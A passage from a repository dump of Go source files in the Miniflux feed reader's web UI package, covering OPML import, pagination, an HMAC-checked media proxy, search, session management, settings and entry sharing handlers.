{\n\t\tview.Set(\"errorMessage\", locale.NewLocalizedError(\"error.empty_file\").Translate(user.Language))\n\t\tresponse.HTML(w, r, view.Render(\"import\"))\n\t\treturn\n\t}\n\n\tif impErr := opml.NewHandler(h.store).Import(user.ID, file); impErr != nil {\n\t\tview.Set(\"errorMessage\", impErr)\n\t\tresponse.HTML(w, r, view.Render(\"import\"))\n\t\treturn\n\t}\n\n\tresponse.HTMLRedirect(w, r, h.routePath(\"/feeds\"))\n}\n\nfunc (h *handler) fetchOPML(w http.ResponseWriter, r *http.Request) {\n\tuser, err := h.store.UserByID(request.UserID(r))\n\tif err != nil {\n\t\tresponse.HTMLServerError(w, r, err)\n\t\treturn\n\t}\n\n\topmlFileURL := strings.TrimSpace(r.FormValue(\"url\"))\n\tif opmlFileURL == \"\" {\n\t\tresponse.HTMLRedirect(w, r, h.routePath(\"/import\"))\n\t\treturn\n\t}\n\n\tslog.Info(\"Fetching OPML file remotely\",\n\t\tslog.Int64(\"user_id\", user.ID),\n\t\tslog.String(\"opml_file_url\", opmlFileURL),\n\t)\n\n\tsess := session.New(h.store, request.SessionID(r))\n\tview := view.New(h.tpl, r, sess)\n\tview.Set(\"menu\", \"feeds\")\n\tview.Set(\"user\", user)\n\tview.Set(\"countUnread\", h.store.CountUnreadEntries(user.ID))\n\tview.Set(\"countErrorFeeds\", h.store.CountUserFeedsWithErrors(user.ID))\n\n\trequestBuilder := fetcher.NewRequestBuilder()\n\trequestBuilder.WithTimeout(config.Opts.HTTPClientTimeout())\n\trequestBuilder.WithProxyRotator(proxyrotator.ProxyRotatorInstance)\n\n\tresponseHandler := fetcher.NewResponseHandler(requestBuilder.ExecuteRequest(opmlFileURL))\n\tdefer responseHandler.Close()\n\n\tif localizedError := responseHandler.LocalizedError(); localizedError != nil {\n\t\tslog.Warn(\"Unable to fetch OPML file\", slog.String(\"opml_file_url\", opmlFileURL), slog.Any(\"error\", localizedError.Error()))\n\t\tview.Set(\"errorMessage\", localizedError.Translate(user.Language))\n\t\tresponse.HTML(w, r, view.Render(\"import\"))\n\t\treturn\n\t}\n\n\tif impErr := opml.NewHandler(h.store).Import(user.ID, responseHandler.Body(config.Opts.HTTPClientMaxBodySize())); impErr != nil {\n\t\tview.Set(\"errorMessage\", impErr)\n\t\tresponse.HTML(w, r, view.Render(\"import\"))\n\t\treturn\n\t}\n\n\tresponse.HTMLRedirect(w, r, h.routePath(\"/feeds\"))\n}\n"
  },
  {
    "path": "internal/ui/pagination.go",
    "content": "// SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.\n// SPDX-License-Identifier: Apache-2.0\n\npackage ui // import \"miniflux.app/v2/internal/ui\"\n\ntype pagination struct {\n\tRoute        string\n\tTotal        int\n\tOffset       int\n\tItemsPerPage int\n\tShowNext     bool\n\tShowLast     bool\n\tShowFirst    bool\n\tShowPrev     bool\n\tNextOffset   int\n\tLastOffset   int\n\tPrevOffset   int\n\tFirstOffset  int\n\tSearchQuery  string\n\tUnreadOnly   bool\n}\n\nfunc getPagination(route string, total, offset, nbItemsPerPage int) pagination {\n\tnextOffset := 0\n\tprevOffset := 0\n\n\tfirstOffset := 0\n\tlastOffset := (total / nbItemsPerPage) * nbItemsPerPage\n\tif lastOffset == total {\n\t\tlastOffset -= nbItemsPerPage\n\t}\n\n\tshowNext := (total - offset) > nbItemsPerPage\n\tshowPrev := offset > 0\n\tshowLast := showNext\n\tshowFirst := showPrev\n\n\tif showNext {\n\t\tnextOffset = offset + nbItemsPerPage\n\t}\n\n\tif showPrev {\n\t\tprevOffset = offset - nbItemsPerPage\n\t}\n\n\treturn pagination{\n\t\tRoute:        route,\n\t\tTotal:        total,\n\t\tOffset:       offset,\n\t\tItemsPerPage: nbItemsPerPage,\n\t\tShowNext:     showNext,\n\t\tShowLast:     showLast,\n\t\tNextOffset:   nextOffset,\n\t\tLastOffset:   lastOffset,\n\t\tShowPrev:     showPrev,\n\t\tShowFirst:    showFirst,\n\t\tPrevOffset:   prevOffset,\n\t\tFirstOffset:  firstOffset,\n\t}\n}\n"
  },
  {
    "path": "internal/ui/proxy.go",
    "content": "// SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.\n// SPDX-License-Identifier: Apache-2.0\n\npackage ui // import \"miniflux.app/v2/internal/ui\"\n\nimport (\n\t\"crypto/hmac\"\n\t\"crypto/sha256\"\n\t\"encoding/base64\"\n\t\"errors\"\n\t\"log/slog\"\n\t\"net/http\"\n\t\"net/url\"\n\t\"path\"\n\t\"strconv\"\n\t\"time\"\n\n\t\"miniflux.app/v2/internal/config\"\n\t\"miniflux.app/v2/internal/crypto\"\n\t\"miniflux.app/v2/internal/http/request\"\n\t\"miniflux.app/v2/internal/http/response\"\n\n\t\"miniflux.app/v2/internal/reader/fetcher\"\n\t\"miniflux.app/v2/internal/reader/rewrite\"\n)\n\nfunc (h *handler) mediaProxy(w http.ResponseWriter, r *http.Request) {\n\t// If we receive a \"If-None-Match\" header, we assume the media is already stored in browser cache.\n\tif r.Header.Get(\"If-None-Match\") != \"\" {\n\t\tw.WriteHeader(http.StatusNotModified)\n\t\treturn\n\t}\n\n\tencodedURL := request.RouteStringParam(r, \"encodedURL\")\n\tif encodedURL == \"\" {\n\t\tresponse.HTMLBadRequest(w, r, errors.New(\"no URL provided\"))\n\t\treturn\n\t}\n\n\tencodedDigest := request.RouteStringParam(r, \"encodedDigest\")\n\tdecodedDigest, err := base64.URLEncoding.DecodeString(encodedDigest)\n\tif err != nil {\n\t\tresponse.HTMLBadRequest(w, r, errors.New(\"unable to decode this digest\"))\n\t\treturn\n\t}\n\n\tdecodedURL, err := base64.URLEncoding.DecodeString(encodedURL)\n\tif err != nil {\n\t\tresponse.HTMLBadRequest(w, r, errors.New(\"unable to decode this URL\"))\n\t\treturn\n\t}\n\n\tmac := hmac.New(sha256.New, config.Opts.MediaProxyPrivateKey())\n\tmac.Write(decodedURL)\n\texpectedMAC := mac.Sum(nil)\n\n\tif !hmac.Equal(decodedDigest, expectedMAC) {\n\t\tresponse.HTMLForbidden(w, r)\n\t\treturn\n\t}\n\n\tparsedMediaURL, err := url.Parse(string(decodedURL))\n\tif err != nil {\n\t\tresponse.HTMLBadRequest(w, r, errors.New(\"invalid URL provided\"))\n\t\treturn\n\t}\n\n\tif parsedMediaURL.Scheme != \"http\" && parsedMediaURL.Scheme != \"https\" {\n\t\tresponse.HTMLBadRequest(w, r, errors.New(\"invalid URL provided\"))\n\t\treturn\n\t}\n\n\tif parsedMediaURL.Host == \"\" {\n\t\tresponse.HTMLBadRequest(w, r, errors.New(\"invalid URL provided\"))\n\t\treturn\n\t}\n\n\tif !parsedMediaURL.IsAbs() {\n\t\tresponse.HTMLBadRequest(w, r, errors.New(\"invalid URL provided\"))\n\t\treturn\n\t}\n\n\tmediaURL := string(decodedURL)\n\n\tslog.Debug(\"MediaProxy: Fetching remote resource\",\n\t\tslog.String(\"media_url\", mediaURL),\n\t)\n\n\trequestBuilder := fetcher.NewRequestBuilder()\n\trequestBuilder.WithTimeout(config.Opts.MediaProxyHTTPClientTimeout())\n\n\t// Disable compression for the media proxy requests (not implemented).\n\trequestBuilder.WithoutCompression()\n\n\tif referer := rewrite.GetRefererForURL(mediaURL); referer != \"\" {\n\t\trequestBuilder.WithHeader(\"Referer\", referer)\n\t}\n\n\tforwardedRequestHeader := [...]string{\"Range\", \"Accept\", \"Accept-Encoding\", \"User-Agent\"}\n\tfor _, requestHeaderName := range forwardedRequestHeader {\n\t\tif r.Header.Get(requestHeaderName) != \"\" {\n\t\t\trequestBuilder.WithHeader(requestHeaderName, r.Header.Get(requestHeaderName))\n\t\t}\n\t}\n\n\tresp, err := requestBuilder.ExecuteRequest(mediaURL)\n\tif err != nil {\n\t\tif errors.Is(err, fetcher.ErrPrivateNetworkHost) || errors.Is(err, fetcher.ErrHostnameResolution) {\n\t\t\tslog.Warn(\"MediaProxy: Refused remote resource\",\n\t\t\t\tslog.String(\"media_url\", mediaURL),\n\t\t\t\tslog.Any(\"error\", err),\n\t\t\t)\n\t\t\tresponse.HTMLForbidden(w, r)\n\t\t\treturn\n\t\t}\n\n\t\tslog.Error(\"MediaProxy: Unable to initialize HTTP client\",\n\t\t\tslog.String(\"media_url\", mediaURL),\n\t\t\tslog.Any(\"error\", err),\n\t\t)\n\t\thttp.Error(w, http.StatusText(http.StatusInternalServerError), http.StatusInternalServerError)\n\t\treturn\n\t}\n\tdefer resp.Body.Close()\n\n\tif resp.StatusCode == http.StatusRequestedRangeNotSatisfiable {\n\t\tslog.Warn(\"MediaProxy: \"+http.StatusText(http.StatusRequestedRangeNotSatisfiable),\n\t\t\tslog.String(\"media_url\", mediaURL),\n\t\t\tslog.Int(\"status_code\", resp.StatusCode),\n\t\t)\n\t\tresponse.HTMLRequestedRangeNotSatisfiable(w, r, resp.Header.Get(\"Content-Range\"))\n\t\treturn\n\t}\n\tif resp.StatusCode != http.StatusOK && resp.StatusCode != http.StatusPartialContent {\n\t\tslog.Warn(\"MediaProxy: Unexpected response status code\",\n\t\t\tslog.String(\"media_url\", mediaURL),\n\t\t\tslog.Int(\"status_code\", resp.StatusCode),\n\t\t)\n\n\t\t// Forward the status code from the origin.\n\t\thttp.Error(w, \"Origin status code is \"+strconv.Itoa(resp.StatusCode), resp.StatusCode)\n\t\treturn\n\t}\n\n\tetag := crypto.HashFromBytes(decodedURL)\n\n\tresponse.NewBuilder(w, r).WithCaching(etag, 72*time.Hour, func(b *response.Builder) {\n\t\tb.WithStatus(resp.StatusCode)\n\t\tb.WithHeader(\"Content-Security-Policy\", response.ContentSecurityPolicyForUntrustedContent)\n\t\tb.WithHeader(\"Content-Type\", resp.Header.Get(\"Content-Type\"))\n\n\t\tif filename := path.Base(parsedMediaURL.Path); filename != \"\" {\n\t\t\tb.WithHeader(\"Content-Disposition\", `inline; filename=\"`+filename+`\"`)\n\t\t}\n\n\t\tforwardedResponseHeader := [...]string{\"Content-Encoding\", \"Content-Type\", \"Content-Length\", \"Accept-Ranges\", \"Content-Range\"}\n\t\tfor _, responseHeaderName := range forwardedResponseHeader {\n\t\t\tif resp.Header.Get(responseHeaderName) != \"\" {\n\t\t\t\tb.WithHeader(responseHeaderName, resp.Header.Get(responseHeaderName))\n\t\t\t}\n\t\t}\n\t\tb.WithBodyAsReader(resp.Body)\n\t\tb.WithoutCompression()\n\t\tb.Write()\n\t})\n}\n"
  },
  {
    "path": "internal/ui/search.go",
    "content": "// SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.\n// SPDX-License-Identifier: Apache-2.0\n\npackage ui // import \"miniflux.app/v2/internal/ui\"\n\nimport (\n\t\"net/http\"\n\n\t\"miniflux.app/v2/internal/http/request\"\n\t\"miniflux.app/v2/internal/http/response\"\n\t\"miniflux.app/v2/internal/model\"\n\t\"miniflux.app/v2/internal/ui/session\"\n\t\"miniflux.app/v2/internal/ui/view\"\n)\n\nfunc (h *handler) showSearchPage(w http.ResponseWriter, r *http.Request) {\n\tuser, err := h.store.UserByID(request.UserID(r))\n\tif err != nil {\n\t\tresponse.HTMLServerError(w, r, err)\n\t\treturn\n\t}\n\n\tsearchQuery := request.QueryStringParam(r, \"q\", \"\")\n\tunreadOnly := request.QueryBoolParam(r, \"unread\", false)\n\toffset := request.QueryIntParam(r, \"offset\", 0)\n\n\tvar entries model.Entries\n\tvar entriesCount int\n\n\tif searchQuery != \"\" {\n\t\tbuilder := h.store.NewEntryQueryBuilder(user.ID)\n\t\tbuilder.WithSearchQuery(searchQuery)\n\t\tif unreadOnly {\n\t\t\tbuilder.WithStatus(model.EntryStatusUnread)\n\t\t}\n\t\tbuilder.WithoutStatus(model.EntryStatusRemoved)\n\t\tbuilder.WithOffset(offset)\n\t\tbuilder.WithLimit(user.EntriesPerPage)\n\n\t\tentries, err = builder.GetEntries()\n\t\tif err != nil {\n\t\t\tresponse.HTMLServerError(w, r, err)\n\t\t\treturn\n\t\t}\n\n\t\tentriesCount, err = builder.CountEntries()\n\t\tif err != nil {\n\t\t\tresponse.HTMLServerError(w, r, err)\n\t\t\treturn\n\t\t}\n\t}\n\n\tsess := session.New(h.store, request.SessionID(r))\n\tview := view.New(h.tpl, r, sess)\n\tpagination := getPagination(h.routePath(\"/search\"), entriesCount, offset, user.EntriesPerPage)\n\tpagination.SearchQuery = searchQuery\n\tpagination.UnreadOnly = unreadOnly\n\n\tview.Set(\"searchQuery\", searchQuery)\n\tview.Set(\"searchUnreadOnly\", unreadOnly)\n\tview.Set(\"entries\", entries)\n\tview.Set(\"total\", entriesCount)\n\tview.Set(\"pagination\", pagination)\n\tview.Set(\"menu\", \"search\")\n\tview.Set(\"user\", user)\n\tview.Set(\"countUnread\", h.store.CountUnreadEntries(user.ID))\n\tview.Set(\"countErrorFeeds\", h.store.CountUserFeedsWithErrors(user.ID))\n\tview.Set(\"hasSaveEntry\", h.store.HasSaveEntry(user.ID))\n\n\tresponse.HTML(w, r, view.Render(\"search\"))\n}\n"
  },
  {
    "path": "internal/ui/session/session.go",
    "content": "// SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.\n// SPDX-License-Identifier: Apache-2.0\n\npackage session // import \"miniflux.app/v2/internal/ui/session\"\n\nimport (\n\t\"time\"\n\n\t\"miniflux.app/v2/internal/model\"\n\t\"miniflux.app/v2/internal/storage\"\n)\n\n// Session handles session data.\ntype Session struct {\n\tstore     *storage.Storage\n\tsessionID string\n}\n\n// New returns a new session handler.\nfunc New(store *storage.Storage, sessionID string) *Session {\n\treturn &Session{store, sessionID}\n}\n\nfunc (s *Session) SetLastForceRefresh() {\n\ts.store.SetAppSessionTextField(s.sessionID, \"last_force_refresh\", time.Now().UTC().Unix())\n}\n\nfunc (s *Session) SetOAuth2State(state string) {\n\ts.store.SetAppSessionTextField(s.sessionID, \"oauth2_state\", state)\n}\n\nfunc (s *Session) SetOAuth2CodeVerifier(codeVerfier string) {\n\ts.store.SetAppSessionTextField(s.sessionID, \"oauth2_code_verifier\", codeVerfier)\n}\n\n// NewFlashMessage creates a new flash message.\nfunc (s *Session) NewFlashMessage(message string) {\n\ts.store.SetAppSessionTextField(s.sessionID, \"flash_message\", message)\n}\n\n// FlashMessage returns the current flash message if any.\nfunc (s *Session) FlashMessage(message string) string {\n\tif message != \"\" {\n\t\ts.store.SetAppSessionTextField(s.sessionID, \"flash_message\", \"\")\n\t}\n\treturn message\n}\n\n// NewFlashErrorMessage creates a new flash error message.\nfunc (s *Session) NewFlashErrorMessage(message string) {\n\ts.store.SetAppSessionTextField(s.sessionID, \"flash_error_message\", message)\n}\n\n// FlashErrorMessage returns the last flash error message if any.\nfunc (s *Session) FlashErrorMessage(message string) string {\n\tif message != \"\" {\n\t\ts.store.SetAppSessionTextField(s.sessionID, \"flash_error_message\", \"\")\n\t}\n\treturn message\n}\n\n// SetLanguage updates the language field in session.\nfunc (s *Session) SetLanguage(language string) {\n\ts.store.SetAppSessionTextField(s.sessionID, \"language\", language)\n}\n\n// SetTheme updates the theme field in session.\nfunc (s *Session) SetTheme(theme string) {\n\ts.store.SetAppSessionTextField(s.sessionID, \"theme\", theme)\n}\n\n// SetWebAuthnSessionData sets the WebAuthn session data.\nfunc (s *Session) SetWebAuthnSessionData(sessionData *model.WebAuthnSession) {\n\ts.store.SetAppSessionJSONField(s.sessionID, \"webauthn_session_data\", sessionData)\n}\n"
  },
  {
    "path": "internal/ui/session_list.go",
    "content": "// SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.\n// SPDX-License-Identifier: Apache-2.0\n\npackage ui // import \"miniflux.app/v2/internal/ui\"\n\nimport (\n\t\"net/http\"\n\n\t\"miniflux.app/v2/internal/http/request\"\n\t\"miniflux.app/v2/internal/http/response\"\n\t\"miniflux.app/v2/internal/ui/session\"\n\t\"miniflux.app/v2/internal/ui/view\"\n)\n\nfunc (h *handler) showSessionsPage(w http.ResponseWriter, r *http.Request) {\n\tuser, err := h.store.UserByID(request.UserID(r))\n\tif err != nil {\n\t\tresponse.HTMLServerError(w, r, err)\n\t\treturn\n\t}\n\n\tsessions, err := h.store.UserSessions(user.ID)\n\tif err != nil {\n\t\tresponse.HTMLServerError(w, r, err)\n\t\treturn\n\t}\n\n\tfor _, sess := range sessions {\n\t\tsess.UseTimezone(user.Timezone)\n\t}\n\n\tsess := session.New(h.store, request.SessionID(r))\n\tview := view.New(h.tpl, r, sess)\n\tview.Set(\"currentSessionToken\", request.UserSessionToken(r))\n\tview.Set(\"sessions\", sessions)\n\tview.Set(\"menu\", \"settings\")\n\tview.Set(\"user\", user)\n\tview.Set(\"countUnread\", h.store.CountUnreadEntries(user.ID))\n\tview.Set(\"countErrorFeeds\", h.store.CountUserFeedsWithErrors(user.ID))\n\n\tresponse.HTML(w, r, view.Render(\"sessions\"))\n}\n"
  },
  {
    "path": "internal/ui/session_remove.go",
    "content": "// SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.\n// SPDX-License-Identifier: Apache-2.0\n\npackage ui // import \"miniflux.app/v2/internal/ui\"\n\nimport (\n\t\"net/http\"\n\n\t\"miniflux.app/v2/internal/http/request\"\n\t\"miniflux.app/v2/internal/http/response\"\n)\n\nfunc (h *handler) removeSession(w http.ResponseWriter, r *http.Request) {\n\tsessionID := request.RouteInt64Param(r, \"sessionID\")\n\terr := h.store.RemoveUserSessionByID(request.UserID(r), sessionID)\n\tif err != nil {\n\t\tresponse.HTMLServerError(w, r, err)\n\t\treturn\n\t}\n\n\tresponse.HTMLRedirect(w, r, h.routePath(\"/sessions\"))\n}\n"
  },
  {
    "path": "internal/ui/settings_show.go",
    "content": "// SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.\n// SPDX-License-Identifier: Apache-2.0\n\npackage ui // import \"miniflux.app/v2/internal/ui\"\n\nimport (\n\t\"net/http\"\n\n\t\"miniflux.app/v2/internal/http/request\"\n\t\"miniflux.app/v2/internal/http/response\"\n\t\"miniflux.app/v2/internal/locale\"\n\t\"miniflux.app/v2/internal/model\"\n\t\"miniflux.app/v2/internal/timezone\"\n\t\"miniflux.app/v2/internal/ui/form\"\n\t\"miniflux.app/v2/internal/ui/session\"\n\t\"miniflux.app/v2/internal/ui/view\"\n)\n\nfunc (h *handler) showSettingsPage(w http.ResponseWriter, r *http.Request) {\n\tuser, err := h.store.UserByID(request.UserID(r))\n\tif err != nil {\n\t\tresponse.HTMLServerError(w, r, err)\n\t\treturn\n\t}\n\n\tsettingsForm := form.SettingsForm{\n\t\tUsername:                  user.Username,\n\t\tTheme:                     user.Theme,\n\t\tLanguage:                  user.Language,\n\t\tTimezone:                  user.Timezone,\n\t\tEntryDirection:            user.EntryDirection,\n\t\tEntryOrder:                user.EntryOrder,\n\t\tEntriesPerPage:            user.EntriesPerPage,\n\t\tKeyboardShortcuts:         user.KeyboardShortcuts,\n\t\tShowReadingTime:           user.ShowReadingTime,\n\t\tCustomCSS:                 user.Stylesheet,\n\t\tCustomJS:                  user.CustomJS,\n\t\tExternalFontHosts:         user.ExternalFontHosts,\n\t\tEntrySwipe:                user.EntrySwipe,\n\t\tGestureNav:                user.GestureNav,\n\t\tDisplayMode:               user.DisplayMode,\n\t\tDefaultReadingSpeed:       user.DefaultReadingSpeed,\n\t\tCJKReadingSpeed:           user.CJKReadingSpeed,\n\t\tDefaultHomePage:           user.DefaultHomePage,\n\t\tCategoriesSortingOrder:    user.CategoriesSortingOrder,\n\t\tMarkReadBehavior:          form.MarkAsReadBehavior(user.MarkReadOnView, user.MarkReadOnMediaPlayerCompletion),\n\t\tMediaPlaybackRate:         user.MediaPlaybackRate,\n\t\tBlockFilterEntryRules:     user.BlockFilterEntryRules,\n\t\tKeepFilterEntryRules:      user.KeepFilterEntryRules,\n\t\tAlwaysOpenExternalLinks:   user.AlwaysOpenExternalLinks,\n\t\tOpenExternalLinksInNewTab: user.OpenExternalLinksInNewTab,\n\t}\n\n\tcreds, err := h.store.WebAuthnCredentialsByUserID(user.ID)\n\tif err != nil {\n\t\tresponse.HTMLServerError(w, r, err)\n\t\treturn\n\t}\n\n\tsess := session.New(h.store, request.SessionID(r))\n\tview := view.New(h.tpl, r, sess)\n\tview.Set(\"form\", settingsForm)\n\tview.Set(\"readBehaviors\", map[string]any{\n\t\t\"NoAutoMarkAsRead\":                           form.NoAutoMarkAsRead,\n\t\t\"MarkAsReadOnView\":                           form.MarkAsReadOnView,\n\t\t\"MarkAsReadOnViewButWaitForPlayerCompletion\": form.MarkAsReadOnViewButWaitForPlayerCompletion,\n\t\t\"MarkAsReadOnlyOnPlayerCompletion\":           form.MarkAsReadOnlyOnPlayerCompletion,\n\t})\n\tview.Set(\"themes\", model.Themes())\n\tview.Set(\"languages\", locale.AvailableLanguages)\n\tview.Set(\"timezones\", timezone.AvailableTimezones())\n\tview.Set(\"menu\", \"settings\")\n\tview.Set(\"user\", user)\n\tview.Set(\"countUnread\", h.store.CountUnreadEntries(user.ID))\n\tview.Set(\"countErrorFeeds\", h.store.CountUserFeedsWithErrors(user.ID))\n\tview.Set(\"default_home_pages\", model.HomePages())\n\tview.Set(\"categories_sorting_options\", model.CategoriesSortingOptions())\n\tview.Set(\"countWebAuthnCerts\", h.store.CountWebAuthnCredentialsByUserID(user.ID))\n\tview.Set(\"webAuthnCerts\", creds)\n\n\tresponse.HTML(w, r, view.Render(\"settings\"))\n}\n"
  },
  {
    "path": "internal/ui/settings_update.go",
    "content": "// SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.\n// SPDX-License-Identifier: Apache-2.0\n\npackage ui // import \"miniflux.app/v2/internal/ui\"\n\nimport (\n\t\"net/http\"\n\n\t\"miniflux.app/v2/internal/http/request\"\n\t\"miniflux.app/v2/internal/http/response\"\n\t\"miniflux.app/v2/internal/locale\"\n\t\"miniflux.app/v2/internal/model\"\n\t\"miniflux.app/v2/internal/timezone\"\n\t\"miniflux.app/v2/internal/ui/form\"\n\t\"miniflux.app/v2/internal/ui/session\"\n\t\"miniflux.app/v2/internal/ui/view\"\n\t\"miniflux.app/v2/internal/validator\"\n)\n\nfunc (h *handler) updateSettings(w http.ResponseWriter, r *http.Request) {\n\tuser, err := h.store.UserByID(request.UserID(r))\n\tif err != nil {\n\t\tresponse.HTMLServerError(w, r, err)\n\t\treturn\n\t}\n\n\tcreds, err := h.store.WebAuthnCredentialsByUserID(user.ID)\n\tif err != nil {\n\t\tresponse.HTMLServerError(w, r, err)\n\t\treturn\n\t}\n\n\tsettingsForm := form.NewSettingsForm(r)\n\n\tsess := session.New(h.store, request.SessionID(r))\n\tview := view.New(h.tpl, r, sess)\n\tview.Set(\"form\", settingsForm)\n\tview.Set(\"readBehaviors\", map[string]any{\n\t\t\"NoAutoMarkAsRead\":                           form.NoAutoMarkAsRead,\n\t\t\"MarkAsReadOnView\":                           form.MarkAsReadOnView,\n\t\t\"MarkAsReadOnViewButWaitForPlayerCompletion\": form.MarkAsReadOnViewButWaitForPlayerCompletion,\n\t\t\"MarkAsReadOnlyOnPlayerCompletion\":           form.MarkAsReadOnlyOnPlayerCompletion,\n\t})\n\tview.Set(\"themes\", model.Themes())\n\tview.Set(\"languages\", locale.AvailableLanguages)\n\tview.Set(\"timezones\", timezone.AvailableTimezones())\n\tview.Set(\"menu\", \"settings\")\n\tview.Set(\"user\", user)\n\tview.Set(\"countUnread\", h.store.CountUnreadEntries(user.ID))\n\tview.Set(\"countErrorFeeds\", h.store.CountUserFeedsWithErrors(user.ID))\n\tview.Set(\"default_home_pages\", model.HomePages())\n\tview.Set(\"categories_sorting_options\", model.CategoriesSortingOptions())\n\tview.Set(\"countWebAuthnCerts\", h.store.CountWebAuthnCredentialsByUserID(user.ID))\n\tview.Set(\"webAuthnCerts\", creds)\n\n\tif validationErr := settingsForm.Validate(); validationErr != nil {\n\t\tview.Set(\"errorMessage\", validationErr.Translate(user.Language))\n\t\tresponse.HTML(w, r, view.Render(\"settings\"))\n\t\treturn\n\t}\n\n\tuserModificationRequest := &model.UserModificationRequest{\n\t\tUsername:               model.OptionalString(settingsForm.Username),\n\t\tPassword:               model.OptionalString(settingsForm.Password),\n\t\tTheme:                  model.OptionalString(settingsForm.Theme),\n\t\tLanguage:               model.OptionalString(settingsForm.Language),\n\t\tTimezone:               model.OptionalString(settingsForm.Timezone),\n\t\tEntryDirection:         model.OptionalString(settingsForm.EntryDirection),\n\t\tEntryOrder:             model.OptionalString(settingsForm.EntryOrder),\n\t\tEntriesPerPage:         model.OptionalNumber(settingsForm.EntriesPerPage),\n\t\tCategoriesSortingOrder: model.OptionalString(settingsForm.CategoriesSortingOrder),\n\t\tDisplayMode:            model.OptionalString(settingsForm.DisplayMode),\n\t\tGestureNav:             model.OptionalString(settingsForm.GestureNav),\n\t\tDefaultReadingSpeed:    model.OptionalNumber(settingsForm.DefaultReadingSpeed),\n\t\tCJKReadingSpeed:        model.OptionalNumber(settingsForm.CJKReadingSpeed),\n\t\tDefaultHomePage:        model.OptionalString(settingsForm.DefaultHomePage),\n\t\tMediaPlaybackRate:      model.OptionalNumber(settingsForm.MediaPlaybackRate),\n\t\tBlockFilterEntryRules:  model.OptionalString(settingsForm.BlockFilterEntryRules),\n\t\tKeepFilterEntryRules:   model.OptionalString(settingsForm.KeepFilterEntryRules),\n\t\tExternalFontHosts:      model.OptionalString(settingsForm.ExternalFontHosts),\n\t}\n\n\tif validationErr := validator.ValidateUserModification(h.store, user.ID, userModificationRequest); validationErr != nil {\n\t\tview.Set(\"errorMessage\", validationErr.Translate(user.Language))\n\t\tresponse.HTML(w, r, view.Render(\"settings\"))\n\t\treturn\n\t}\n\n\terr = h.store.UpdateUser(settingsForm.Merge(user))\n\tif err != nil {\n\t\tresponse.HTMLServerError(w, r, err)\n\t\treturn\n\t}\n\n\tsess.SetLanguage(user.Language)\n\tsess.SetTheme(user.Theme)\n\tsess.NewFlashMessage(locale.NewPrinter(request.UserLanguage(r)).Printf(\"alert.prefs_saved\"))\n\tresponse.HTMLRedirect(w, r, h.routePath(\"/settings\"))\n}\n"
  },
  {
    "path": "internal/ui/share.go",
    "content": "// SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.\n// SPDX-License-Identifier: Apache-2.0\n\npackage ui // import \"miniflux.app/v2/internal/ui\"\n\nimport (\n\t\"net/http\"\n\t\"time\"\n\n\t\"miniflux.app/v2/internal/http/request\"\n\t\"miniflux.app/v2/internal/http/response\"\n\n\t\"miniflux.app/v2/internal/storage\"\n\t\"miniflux.app/v2/internal/ui/session\"\n\t\"miniflux.app/v2/internal/ui/view\"\n)\n\nfunc (h *handler) createSharedEntry(w http.ResponseWriter, r *http.Request) {\n\tentryID := request.RouteInt64Param(r, \"entryID\")\n\tshareCode, err := h.store.EntryShareCode(request.UserID(r), entryID)\n\tif err != nil {\n\t\tresponse.HTMLServerError(w, r, err)\n\t\treturn\n\t}\n\n\tresponse.HTMLRedirect(w, r, h.routePath(\"/share/%s\", shareCode))\n}\n\nfunc (h *handler) unshareEntry(w http.ResponseWriter, r *http.Request) {\n\tentryID := request.RouteInt64Param(r, \"entryID\")\n\tif err := h.store.UnshareEntry(request.UserID(r), entryID); err != nil {\n\t\tresponse.HTMLServerError(w, r, err)\n\t\treturn\n\t}\n\n\tresponse.HTMLRedirect(w, r, h.routePath(\"/shares\"))\n}\n\nfunc (h *handler) sharedEntry(w http.ResponseWriter, r *http.Request) {\n\tshareCode := request.RouteStringParam(r, \"shareCode\")\n\tif shareCode == \"\" {\n\t\tresponse.HTMLNotFound(w, r)\n\t\treturn\n\t}\n\n\tetag := shareCode\n\tresponse.NewBuilder(w, r).WithCaching(etag, 72*time.Hour, func(b *response.Builder) {\n\t\tbuilder := storage.NewAnonymousQueryBuilder(h.store)\n\t\tbuilder.WithShareCode(shareCode)\n\n\t\tentry, err := builder.GetEntry()\n\t\tif err != nil || entry == nil {\n\t\t\tresponse.HTMLNotFound(w, r)\n\t\t\treturn\n\t\t}\n\n\t\tsess := session.New(h.store, request.SessionID(r))\n\t\tview := view.New(h.tpl, r, sess)\n\t\tview.Set(\"entry\", entry)\n\n\t\tb.WithHeader(\"Content-Type\", \"text/html; charset=utf-8\")\n\t\tb.WithBodyAsBytes(view.Render(\"entry\"))\n\t\tb.Write()\n\t})\n}\n"
  },
  {
    "path": "internal/ui/shared_entries.go",
    "content": "// SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.\n// SPDX-License-Identifier: Apache-2.0\n\npackage ui // import \"miniflux.app/v2/internal/ui\"\n\nimport (\n\t\"net/http\"\n\n\t\"miniflux.app/v2/internal/http/request\"\n\t\"miniflux.app/v2/internal/http/response\"\n\t\"miniflux.app/v2/internal/ui/session\"\n\t\"miniflux.app/v2/internal/ui/view\"\n)\n\nfunc (h *handler) sharedEntries(w http.ResponseWriter, r *http.Request) {\n\tuser, err := h.store.UserByID(request.UserID(r))\n\tif err != nil {\n\t\tresponse.HTMLServerError(w, r, err)\n\t\treturn\n\t}\n\n\toffset := request.QueryIntParam(r, \"offset\", 0)\n\tbuilder := h.store.NewEntryQueryBuilder(user.ID)\n\tbuilder.WithShareCodeNotEmpty()\n\tbuilder.WithSorting(user.EntryOrder, user.EntryDirection)\n\tbuilder.WithSorting(\"id\", user.EntryDirection)\n\tbuilder.WithOffset(offset)\n\tbuilder.WithLimit(user.EntriesPerPage)\n\n\tentries, err := builder.GetEntries()\n\tif err != nil {\n\t\tresponse.HTMLServerError(w, r, err)\n\t\treturn\n\t}\n\n\tcount, err := builder.CountEntries()\n\tif err != nil {\n\t\tresponse.HTMLServerError(w, r, err)\n\t\treturn\n\t}\n\n\tsess := session.New(h.store, request.SessionID(r))\n\tview := view.New(h.tpl, r, sess)\n\tview.Set(\"entries\", 